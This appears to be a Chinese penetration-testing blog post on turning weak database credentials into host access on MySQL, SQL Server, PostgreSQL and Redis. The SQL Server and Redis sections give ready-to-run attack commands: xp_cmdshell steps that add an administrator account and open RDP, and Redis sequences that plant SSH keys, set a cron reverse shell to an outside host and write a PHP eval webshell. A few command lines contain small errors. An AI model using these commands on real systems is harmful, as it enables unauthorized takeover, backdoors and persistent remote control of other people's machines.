在渗透测试中,我们可能误打误撞得到了几个粗心管理员的数据库密码,当我们一脸欣喜的连接上后,却发现库子里一清二白,或者找不到跟web项目的对应关系,那就只能从数据库层面入手,一步步夺取目标主机权限。
下面总结了一下几种常见数据库的提权思路。
mysql
作为目前使用人数最多也是最受欢迎的数据库,在大型的渗透测试中,很有可能就被扫出一两个弱密码,但时代早就变了,mysql早已已经不是那个写个webshell就直接root的傻白甜了,secure-file-priv直接将无数hacker阻于门外,虽然现在网上还有许多UDF和mof的提权方法,但后者适用范围极其严苛:
- windows2003server之前版本
- 可写入c:/windows/system32/wbem/mof权限
- secure-file-priv参数不为null
并且就算写入成功后也有种种可能连接不上,所以建议先写个ping脚本测一测,具体poc会放在下一篇博客。
UDF版本的也没好到哪去,还是secure-file-priv的锅,大部分数据库都没有写入插件路径的权限。
现在来看最靠谱的可能是写日志获取web shell,当然限制也很多:
- 目标站点搭载web应用
- 具有对网站根目录写入的权限
总结来说就是一句话:mysql提权,看命(5.7版本以前的除外)
sqlserver
作为同样受欢迎的老牌数据库,mssql明显友好的多,利用xp_cmdshell可以解决绝大部分数据库,具体命令如下:
#开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
#关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
#添加用户
exec master..xp_cmdshell 'net user test test. /add' 添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
#开启rdp端口
exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
一把梭,没什么好说的
postgresql
这也是我之前一直忽视的一个数据库,最近才发现postgres提权格外好用,基本通杀全版本,再加上它优良的弱密码传统,如果不是postgres组用户权限太低,postgresql绝对能排数据库组第一,不过渗透中利用它读读目标上的敏感数据啥的也是极好的。
同样UDF提权,失败可能性很小,就是需要注意分字节传输,具体脚本同样放在之后的博客里。
redis
上古遗留问题,现在利用可能性不是很大,很少会有root权限下开放的redis了,拿到后还是先找web的根目录最要紧。
利用方式如下:(前提是redis存在未授权访问或已知redis密码)
- 写入ssh公钥(需root权限)
#将公钥写入key.txt文件中(前后用\n换行,避免和redis里其他缓存数据混合) (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt #再将key.txt文件内容写入redis库中 cat /root/.ssh/key.txt | redis-cli -h *ip* -x set pub #设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成) config set dir /root/.ssh ok config set dbfilename authorized_keys ok #测试免密登录 ssh -i /root/.ssh/id_isa ip
- 利用cron计划任务执行命令反弹shell(需root权限)
root@kali:~# redis-cli -h 192.168.10.128 192.168.10.128:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.10.101/6666 0>&1\n" OK 192.168.10.128:6379> config set dir /var/spool/cron/ OK 192.168.10.128:6379> config set dbfilename root OK 192.168.10.128:6379> save OK
- 写入webshell(需要知道web应用的绝对路径)
root@kali:~# redis-cli -h 192.168.10.128
192.168.10.128:6379> set x “<?php @eval($_GET("passer"))>”
OK
192.168.10.128:6379> config set dir /var/www/html/
OK
192.168.10.128:6379> config set dbfilename test.php
OK
192.168.10.128:6379> save
OK
之后即可在网站url根目录后添加test.php连接。
总结:redis提权也是一件费力不讨好的事,利用难度较大,可结合ssrf针对性利用。
持续更新中,主要以我渗透过程中遇到的数据库为主,总结一下实战经验,memecache之类的,以后实战中遇到后会进行添加